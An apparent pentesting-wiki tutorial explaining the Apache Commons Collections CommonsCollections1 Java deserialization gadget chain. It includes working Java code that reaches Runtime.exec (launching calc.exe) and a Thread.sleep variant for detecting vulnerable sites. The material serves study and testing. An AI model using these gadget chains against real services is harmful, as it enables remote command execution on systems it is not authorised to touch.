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# Java Transformers to Rutime exec() In several places you can find a java deserialization payload that uses transformers from Apache common collections like the following one: ```java import org.apache.commons.*; import org.apache.commons.collections.*; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.*; import java.io.*; import java.lang.reflect.InvocationTargetException; import java.util.Map; import java.util.HashMap; public class CommonsCollections1PayloadOnly { public static void main(String... args) { String[] command = {"calc.exe"}; final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), //(1) new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ), //(2) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), //(3) new InvokerTransformer("exec", new Class[]{String.class}, command ) //(4) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); //Execute gadgets lazyMap.get("anything"); } } ``` If you don't know anything about java deserialization payloads could be difficult to figure out why this code will execute a calc. First of all you need to know that a **Transformer in Java** is something that **receives a class** and **transforms it to a different one**. \ Also it's interesting to know that the **payload** being **executed** here is **equivalent** to: ```java Runtime.getRuntime().exec(new String[]{"calc.exe"}); ``` Or **more exactly**, what is going to be executed at the end would be: ```java ((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"}); ``` ## How So, how is the first payload presented equivalent to those "simple" one-liners? **First** of all, you can notice in the payload that a **chain (array) of transforms are created**: ```java String[] command = {"calc.exe"}; final Transformer[] transformers = new Transformer[]{ //(1) - Get gadget Class (from Runtime class) new ConstantTransformer(Runtime.class), //(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime" new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ), //(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), //(4) - Use the Runtime object to call exec with arbitrary commands new InvokerTransformer("exec", new Class[]{String.class}, command ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); ``` If you read the code you will notice that if you somehow chains the transformation of the array you could be able to execute arbitrary commands. So, **how are those transforms chained?** ```java Map map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); lazyMap.get("anything"); ``` In the last section of the payload you can see that a **Map object is created**. Then, the function `decorate` is executed from `LazyMap` with the map object and the chained transformers. From the following code you can see that this will cause the **chained transformers** to be copied inside `lazyMap.factory` attribute: ```java protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } this.factory = factory; } ``` And then the great finale is executed: `lazyMap.get("anything");` This is the code of the `get` function: ```java public Object get(Object key) { if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); } ``` And this is the code of the `transform` function ```java public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } ``` So, remember that inside **factory** we had saved **`chainedTransformer`** and inside of the **`transform`** function we are **going through all those transformers chained** and executing one after another. The funny thing, is that **each transformer is using `object`** **as input** and **object is the output from the last transformer executed**. Therefore, **all the transforms are chained executing the malicious payload**. ## Summary At the end, due to how is lazyMap managing the chained transformers inside the get method, it's like if we were executing the following code: ```java Object value = "someting"; value = new ConstantTransformer(Runtime.class).transform(value); //(1) value = new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", null} ).transform(value); //(2) value = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ).transform(value); //(3) value = new InvokerTransformer("exec", new Class[]{String.class}, command ).transform(value); //(4) ``` _Note how `value` is the input of each transform and the output of the previous transform , allowing the execution of a one-liner:_ ```java ((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"}); ``` Note that here it **was explained the gadgets** used for the **ComonsCollections1** payload. But it's left **how all this starts it's executing**. You can see [here that **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), in order to execute this payload, uses an `AnnotationInvocationHandler` object because **when this object gets deserialized**, it will **invoke** the `payload.get()` function that will **execute the whole payload**. # Java Thread Sleep This payload could be **handy to identify if the web is vulnerable as it will execute a sleep if it is**. ```java import org.apache.commons.*; import org.apache.commons.collections.*; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.*; import java.io.*; import java.lang.reflect.InvocationTargetException; import java.net.MalformedURLException; import java.net.URL; import java.util.Map; import java.util.HashMap; public class CommonsCollections1Sleep { public static void main(String... args) { final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Thread.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class }, new Object[]{ "sleep", new Class[]{Long.TYPE} }), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class }, new Object[] { null, new Object[] {7000L} }), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); //Execute gadgets lazyMap.get("anything"); } } ``` # More Gadgets You can find more gadgets here: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) #
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